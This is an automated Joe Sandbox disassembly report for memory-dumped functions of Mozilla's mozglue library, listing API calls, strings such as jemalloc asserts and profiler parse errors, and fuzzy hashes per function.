MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C5C730D

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)$ew`l
API String ID: 2613674957-3284534115
Opcode ID: 0eb2f5d1eac8144c8dc0a26fb7c9cc57f2e1d263fa4e5e476b23e3c9fa4fe581
Instruction ID: 93e0d18dc5b735f1175636cdc2c193fcc3228e1f689290c03a4c01b83a1b6579
Opcode Fuzzy Hash: 0eb2f5d1eac8144c8dc0a26fb7c9cc57f2e1d263fa4e5e476b23e3c9fa4fe581
Instruction Fuzzy Hash: F2337D717057018FC304CF69C990625BBE2FF85368F29C6ADE9698BBA5D731E841CB42

Function 6C5F4820 Relevance: 18.2, APIs: 1, Strings: 9, Instructions: 744COMMON

Download Yara Rule

Strings

schema, xrefs: 6C5F48C1
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2, xrefs: 6C5F4D65
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3, xrefs: 6C5F4DB8, 6C5F4DD8
-%llu, xrefs: 6C5F4825
ProfileBuffer parse error: %s, xrefs: 6C5F4DD9
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration, xrefs: 6C5F4D0A
bl, xrefs: 6C5F4F88
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime, xrefs: 6C5F4CAF
data, xrefs: 6C5F49B4

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free
String ID: bl$-%llu$ProfileBuffer parse error: %s$data$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3$schema
API String ID: 1294909896-2077017665
Opcode ID: bf58ac1bc1d24218161c3589ffb3d371bdbbab0921e3c04237e4291c021297af
Instruction ID: fd98a7aa6ab75b5fd96447dc6d80028990b5f4b436d5addc800e05ca4dca9abc
Opcode Fuzzy Hash: bf58ac1bc1d24218161c3589ffb3d371bdbbab0921e3c04237e4291c021297af
Instruction Fuzzy Hash: B0722071918B858BD326CF34C85139BF7E5BFDA344F108B1DE4996B611EB70A886CB42

Function 6C5CD4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C62E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C5DD1C5), ref: 6C5CD4F2
LeaveCriticalSection.KERNEL32(6C62E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C5DD1C5), ref: 6C5CD50B

Part of subcall function 6C5ACFE0: EnterCriticalSection.KERNEL32(6C62E784), ref: 6C5ACFF6
Part of subcall function 6C5ACFE0: LeaveCriticalSection.KERNEL32(6C62E784), ref: 6C5AD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C5DD1C5), ref: 6C5CD52E
EnterCriticalSection.KERNEL32(6C62E7DC), ref: 6C5CD690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5CD6A6
LeaveCriticalSection.KERNEL32(6C62E7DC), ref: 6C5CD712
LeaveCriticalSection.KERNEL32(6C62E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C5DD1C5), ref: 6C5CD751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5CD7EA

Strings

: (malloc) Error initializing arena, xrefs: 6C5CD82C
<jemalloc>, xrefs: 6C5CD827

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: d29315c21f819302edc94ff9605a0aa35722c51b6b87dbc11c76b2282769ebf9
Instruction ID: b70a81f91e4c0ef53031cb780c280b10301117b476674437399d1e57aa31c196
Opcode Fuzzy Hash: d29315c21f819302edc94ff9605a0aa35722c51b6b87dbc11c76b2282769ebf9
Instruction Fuzzy Hash: BF91DE71B447018FD714CFB9C89076AB7E1EB89314F15893EE49AC7A81D738E845CB86

Function 6C604EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C604EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C604F2E
moz_xmalloc.MOZGLUE ref: 6C604F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C604F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6052B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6052E6
Sleep.KERNEL32(00000010), ref: 6C605481
free.MOZGLUE(?), ref: 6C605498

Strings

(, xrefs: 6C605250

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 5c593d2faf7809f03efcff2bf2579bf411bce8eae0de8c22617e9788faa5ceca
Instruction ID: 39158aa9930defee7f6f2410cd12d6e3ea26330b2d5a9aa2321b8e55e89a3b3c
Opcode Fuzzy Hash: 5c593d2faf7809f03efcff2bf2579bf411bce8eae0de8c22617e9788faa5ceca
Instruction Fuzzy Hash: A0F1C471A18B508FC716CF39C89062BB7F5AFE6384F058B2EF846A7651DB31D4428B85

Function 6C607030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6C607046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6C607060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C60707E

Part of subcall function 6C5B81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C5B81DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C607096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C60709C
LocalFree.KERNEL32(?), ref: 6C6070AA

Strings

### ERROR: %s: %s, xrefs: 6C607087
(null), xrefs: 6C60706A, 6C607083

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: 06a6c5acbe574e5695b5f25b035d488fdcb795529430589dfa6c10ab4672b0b2
Instruction ID: 207a2007d209c76fcff73cc7a9a3a79f5c3462527a4f563cb7ea939f4b7c1af7
Opcode Fuzzy Hash: 06a6c5acbe574e5695b5f25b035d488fdcb795529430589dfa6c10ab4672b0b2
Instruction Fuzzy Hash: 0C01B9B1A00104AFDB00AB65DC8ADEF7BBCEF89255F050435FA46A3241D67579188BA9

Function 6C5C9E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C5C9EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C5C9F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C5C9F34
LeaveCriticalSection.KERNEL32(?), ref: 6C5CA823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5CA83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5CA849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5CA8B1, 6C5CA8D4, 6C5CA8EF

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: ae4ca745ea65f1ba15a3a0a723ee8c080cdc3be4442e1b30eabcab41ef43afa3
Instruction ID: 1fa50fc0e4c5f8589d2fcea6b4355c3d6b18af737ba4e5161772e2fe09930924
Opcode Fuzzy Hash: ae4ca745ea65f1ba15a3a0a723ee8c080cdc3be4442e1b30eabcab41ef43afa3
Instruction Fuzzy Hash: 39727A72A056118FD704CF68C980215FFE1BF89328F29C76DE8699B791D375E842CB82

Function 6C5F2C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C5F2C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C5F2C61

Part of subcall function 6C5A4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C5A4E5A
Part of subcall function 6C5A4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C5A4E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C5F2C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C5F2E2D

Part of subcall function 6C5B81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C5B81DE

Strings

ProfileBuffer parse error: %s, xrefs: 6C5F2E3B
(root), xrefs: 6C5F354F
expected a Time entry, xrefs: 6C5F2E36

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 87563e9266fa5d9563851134e896654ca26429316ed0db3640f8f8dd36d38ba5
Instruction ID: 0505b8a4d4f82c47b004136eb30c6ac387f42898893907f90401523c696e4f8a
Opcode Fuzzy Hash: 87563e9266fa5d9563851134e896654ca26429316ed0db3640f8f8dd36d38ba5
Instruction Fuzzy Hash: 0591C0B06087808FD728DF28C89069EB7E1AFC9358F50491DE9AA87751DB30D94ACF57

Function 6C609E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C609F3D
__aulldiv.LIBCMT ref: 6C609F77
__aullrem.LIBCMT ref: 6C609F8C
__aulldiv.LIBCMT ref: 6C60A023

Strings

NaN, xrefs: 6C609EAB
-Infinity, xrefs: 6C609E60, 6C609E7B

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: 08fe296fd98c543bd08ddaf4f9fb7262684944f89363a70c6d1e94d342d46ebf
Instruction ID: 3903b1d65cf20848c713342c61e83fb4e205740b53b16c797599721de9d6bb7c
Opcode Fuzzy Hash: 08fe296fd98c543bd08ddaf4f9fb7262684944f89363a70c6d1e94d342d46ebf
Instruction Fuzzy Hash: 29C1AD71B04318CBDB18CFA8C9907DEB7B6AF84348F144529D406BBB82DB71AD49CB95

Function 6C5AD4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

0, xrefs: 6C5ADC7F
-, xrefs: 6C5AD7DD
@, xrefs: 6C5ADAF6
1, xrefs: 6C5ADBDD
0, xrefs: 6C5AD852
8, xrefs: 6C5ADC08
9, xrefs: 6C5ADE7F
, xrefs: 6C5ADA88

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: 0469f94be94e5154d43afb35b44d633da74d80ede508b27f3299f66545a9d1f3
Instruction ID: ce249c2d85c15ab09f3eef36ed71f8285139c425f59ba3cebf0aee1566210d87
Opcode Fuzzy Hash: 0469f94be94e5154d43afb35b44d633da74d80ede508b27f3299f66545a9d1f3
Instruction Fuzzy Hash: F162CF7150C3458FD705EE9AC89075EBBF2AF8A318F184A0DECE54BA51D335D986CB82

Function 6C61545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C618A4B

Strings

~qZl, xrefs: 6C615703, 6C61921F, 6C619459, 6C615740, 6C619269, 6C6156C7, 6C61948F

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memset
String ID: ~qZl
API String ID: 2221118986-4224160377
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: f3e47a8d9a74a4474d5a803e9fdfebcbba9b27d2980a759e6adc3b010f372e4b
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 46B1D772E0821A8FDB14CF6CCC917E9B7B2EF85314F1902A9C549DBB91D730A985CB94

Function 6C61542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C6188F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C61925C

Strings

~qZl, xrefs: 6C615703, 6C61921F, 6C619459, 6C615740, 6C619269, 6C6156C7, 6C61948F

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memset
String ID: ~qZl
API String ID: 2221118986-4224160377
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: a8bd9fab5e846487c4916218042354b369f0e030be6045cf2dedb52953ff0e03
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 77B1C572E0820A8FDB14CF6CCC816EDB7B2AF85314F190279C549DBB95D730A989CB94

Function 6C60C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C60C0E9), ref: 6C60C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C60C437
FreeLibrary.KERNEL32(?,6C60C0E9), ref: 6C60C44C

Strings

ntdll.dll, xrefs: 6C60C413
NtQueryVirtualMemory, xrefs: 6C60C431

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 9786a22231714566ad89453b8477d514271840b62303c6b74f073385d70dd9da
Instruction ID: 9bdf78e303547c56877abce20579eb2b07751252da307d4fe5d1ae9b2055ef5d
Opcode Fuzzy Hash: 9786a22231714566ad89453b8477d514271840b62303c6b74f073385d70dd9da
Instruction Fuzzy Hash: 64E0B678705311ABEF007F77CA98711BBF8FB46745F044516EA4699611EBBCC0028B5E

Function 6C5B9F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

' , xrefs: 6C5BA3D8
1, xrefs: 6C5BA824
9, xrefs: 6C5BA5D6
@, xrefs: 6C5BA625
0, xrefs: 6C5BA100
0, xrefs: 6C5BAB22

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: b42bb043a4edba41b499c133d5b18d0f056f612fdd29510ed29ef5fe102c565c
Instruction ID: 48fa66d57d283930fb65c40dbd526f67676e69234deaf4743b0921c3a37ebd22
Opcode Fuzzy Hash: b42bb043a4edba41b499c133d5b18d0f056f612fdd29510ed29ef5fe102c565c
Instruction Fuzzy Hash: 9D82F3719093558BD711CF09C8B026EBFF1FB85718F55892AE8D567E80D335A886CB82

Function 6C5ABEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C5AC1CB
__aulldiv.LIBCMT ref: 6C5AC24C
__aulldiv.LIBCMT ref: 6C5AC348
__aullrem.LIBCMT ref: 6C5AC365
__aulldiv.LIBCMT ref: 6C5AC37D

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: 245de6b99100109a57bad00e34f5c3793610824de2aaf491627289bb8ed5cf52
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 98322732B046118FC718DE6DC89065ABBE6AFC9310F09867DE495CB395D731ED06CB91

Function 6C5F77A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5F7A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5F7A93

Part of subcall function 6C5C5C50: GetTickCount64.KERNEL32 ref: 6C5C5D40
Part of subcall function 6C5C5C50: EnterCriticalSection.KERNEL32(6C62F688), ref: 6C5C5D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C5F7AA1

Part of subcall function 6C5C5C50: __aulldiv.LIBCMT ref: 6C5C5DB4
Part of subcall function 6C5C5C50: LeaveCriticalSection.KERNEL32(6C62F688), ref: 6C5C5DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C5F7B31

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: 3be9d5ebbc94468330d08ce3e294e338f25462bcaf71d3275db2f84d96b0b746
Instruction ID: a423371302ea8f4e9747c20eb7d9f1d6ee17ab8ebaf823c9f9e39393cb153d5e
Opcode Fuzzy Hash: 3be9d5ebbc94468330d08ce3e294e338f25462bcaf71d3275db2f84d96b0b746
Instruction Fuzzy Hash: 5FB17B356083848BDB18CE25C85065FB7E3BBC9358F154A1CE9A567B91DB70ED0BCB82

Function 6C5C8850 Relevance: 6.1, APIs: 1, Strings: 2, Instructions: 1567COMMON

Download Yara Rule

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5C9813, 6C5C985D, 6C5C9878, 6C5C9CEB
MOZ_CRASH(), xrefs: 6C5C97EA

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 0-3566792288
Opcode ID: 9f040d1a21552f8367d704b9dfd2ef38a30a1ab9c9908b27cb9c785c7fdf1f80
